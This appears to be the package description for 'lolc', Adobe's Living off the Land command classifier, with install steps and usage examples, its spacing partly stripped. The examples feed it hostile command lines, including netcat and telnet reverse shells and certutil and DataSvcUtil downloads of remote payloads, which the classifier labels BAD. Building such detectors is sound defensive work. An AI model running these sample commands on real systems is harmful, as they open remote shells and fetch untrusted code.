Package: lolc
Living of the Land ClassifierThis repository contains the source code and pre-trained models for the Living of the Land Classifier, designed by the Security Intelligence (SI) Team of the Security Coordination Center (SCC) @ Adobe.Quick start guideIf you have experience with python and are eager to get started, check theQuick start Jupyter Notebook, instead of this documentation.To get the library up and running in no time, use the following tutorial. If you want to build you own model, please refer to the"Advanced usage and documentation"section (below).PrerequisitesBefore you proceed, make sure your system meets the following requirements:Python 3.7+installed and running on your systemPIPpackage installerWe recommend using avirtual environment. See theofficial documentationfor detailsQuick installationThe easiest way to get LOL running is to use thepip:You can use the following command directly on your system or in the virtual environment (recommended):$pipinstalllolcTo test the installation you can use the following scripts oripythoncommands, which are also in theQuick start Jupyter Notebook:LINUXfromlol.apiimportLOLC,PlatformTypelolc=LOLC(PlatformType.LINUX)# allowed parameters are PlatformType.LINUX and PlatformType.WINDOWScommands=['nc -nlvp 1234 & nc -e /bin/bash 10.20.30.40 4321','iptables -t nat -L -n','telnet 10.20.30.40 5000 | /bin/sh | 10.20.30.50 5001']classification,tags=lolc(commands)forcommand,status,taginzip(commands,classification,tags):print(command)print(status)print(tag)print("\n")The output should be:nc -nlvp 1234 & nc -e /bin/bash 10.20.30.40 4321
BAD
IP_PRIVATE PATH_/BIN/BASH COMMAND_NC KEYWORD_-NLVP KEYWORD_-E nc_listener_to_shell LOOKS_LIKE_KNOWN_LOL

iptables -t nat -L -n
GOOD
COMMAND_IPTABLES KEYWORD_-T KEYWORD_-L KEYWORD_-N iptables_list

telnet 10.20.30.40 5000 | /bin/sh | 10.20.30.50 5001
BAD
IP_PRIVATE PATH_/BIN/SH COMMAND_TELNET telnet_sh LOOKS_LIKE_KNOWN_LOLWINDOWSfromlol.apiimportLOLC,PlatformTypelolc=LOLC(PlatformType.WINDOWS)# allowed parameters are PlatformType.LINUX and PlatformType.WINDOWScommands=['certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\\temp:ttt','explorer.exe c:\\temp','DataSvcUtil /out:C:\\Windows\\System32\\calc.exe /uri:https://11.11.11.11/xxxxxxxxx?encodedfile']classification,tags=lolc(commands)forcommand,status,taginzip(commands,classification,tags):print(command)print(status)print(tag)print("\n")The output should be:certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
BAD
COMMAND_CERTUTIL.EXE KEYWORD_dash_urlcache KEYWORD_dash_f KEYWORD_http certutil_downloader powershell_file

explorer.exe c:\temp
NEUTRAL
# this line is empty

DataSvcUtil /out:C:\Windows\System32\calc.exe /uri:https://11.11.11.11/xxxxxxxxx?encodedfile
BAD
IP_PUBLIC COMMAND_DATASVCUTIL DataSvcUtil_http KEYWORD_httpAdvanced usage and documentationThis documentation is still under development. We will provide complete examples accompanied by Jupyter Notebooks.Installation via GitHub (for advanced usage)gitclonegit@github.com:adobe/libLOL.gitcdlibLOL
virtualenv-p`whichpython3`venvsourcevenv/bin/activate
pip3install-rrequirements.txt